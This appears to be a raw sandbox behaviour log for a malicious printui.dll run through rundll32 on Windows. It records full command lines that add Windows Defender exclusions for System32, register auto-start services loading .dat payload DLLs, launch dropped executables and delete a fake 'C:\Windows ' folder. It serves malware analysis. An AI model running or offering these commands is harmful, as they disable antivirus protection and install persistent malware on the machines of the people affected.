Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows \System32';"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows \System32';"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows\System32';"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows\System32';"	Jump to behavior
Source: C:\Windows\System32\winsvcf\Z369335.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Windows\System32\winsvcf\Z753638.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Windows\System32\Z753638.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Windows\System32\Z369335.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Windows\System32\usvcinsta64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Windows\System32\usvcinsta64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'"
Source: C:\Windows \System32\printui.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath '%SystemDrive%\Windows \System32'; Add-MpPreference -ExclusionPath '%SystemDrive%\Windows\System32';"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'; Add-MpPreference -ExclusionPath 'C:\Windows\System32';"

Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows \System32';"	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows\System32';"	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc.exe create Z295699 binPath="C:\Windows\System32\svchost.exe -k DcomLaunch" type= share start= auto	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\services\Z295699\Parameters /v ServiceDll /t REG_EXPAND_SZ /d C:\Windows\System32\Z295699.dat /f	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc.exe start Z295699	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c start /B /MIN cmd /C "timeout /t 10 /nobreak && rmdir /S /Q "\\?\C:\Windows " && exit"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\printui.dll",#1	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows \System32';"	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows\System32';"	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc.exe create Z422697 binPath="C:\Windows\System32\svchost.exe -k DcomLaunch" type= share start= auto	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\services\Z422697\Parameters /v ServiceDll /t REG_EXPAND_SZ /d C:\Windows\System32\Z422697.dat /f	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc.exe start Z422697	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c start /B /MIN cmd /C "timeout /t 10 /nobreak && rmdir /S /Q "\\?\C:\Windows " && exit"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows \System32';"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows \System32';"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows\System32';"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows\System32';"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc.exe create Z295699 binPath="C:\Windows\System32\svchost.exe -k DcomLaunch" type= share start= auto
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc.exe create Z422697 binPath="C:\Windows\System32\svchost.exe -k DcomLaunch" type= share start= auto
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add HKLM\SYSTEM\CurrentControlSet\services\Z295699\Parameters /v ServiceDll /t REG_EXPAND_SZ /d C:\Windows\System32\Z295699.dat /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add HKLM\SYSTEM\CurrentControlSet\services\Z422697\Parameters /v ServiceDll /t REG_EXPAND_SZ /d C:\Windows\System32\Z422697.dat /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc.exe start Z295699
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\winsvcf\Z369335.exe "C:\Windows\System32\winsvcf\Z369335.exe"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc.exe start Z422697
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\winsvcf\Z753638.exe "C:\Windows\System32\winsvcf\Z753638.exe"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /C "timeout /t 10 /nobreak && rmdir /S /Q "\\?\C:\Windows " && exit"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 10 /nobreak
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /C "timeout /t 10 /nobreak && rmdir /S /Q "\\?\C:\Windows " && exit"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 10 /nobreak
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 /nobreak
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\Z753638.exe "C:\Windows\System32\Z753638.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 /nobreak
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\Z369335.exe "C:\Windows\System32\Z369335.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop Z295699
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop Z295699
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc delete Z295699
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc delete Z295699
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop Z422697
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop Z422697
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc delete Z422697
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc delete Z422697
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\usvcinsta64.exe "C:\Windows\System32\usvcinsta64.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 10 /nobreak
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 10 /nobreak
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows \System32\printui.exe "C:\Windows \System32\printui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows \System32\printui.exe "C:\Windows \System32\printui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 10 /nobreak
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'; Add-MpPreference -ExclusionPath 'C:\Windows\System32';"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc create x841418 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown

Source: C:\Windows \System32\printui.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c sc create x841418 binpath= "c:\windows\system32\svchost.exe -k dcomlaunch" type= own start= auto && reg add hklm\system\currentcontrolset\services\x841418\parameters /v servicedll /t reg_expand_sz /d "c:\windows\system32\x841418.dat" /f && sc start x841418
Source: C:\Windows \System32\printui.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c sc create x841418 binpath= "c:\windows\system32\svchost.exe -k dcomlaunch" type= own start= auto && reg add hklm\system\currentcontrolset\services\x841418\parameters /v servicedll /t reg_expand_sz /d "c:\windows\system32\x841418.dat" /f && sc start x841418

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
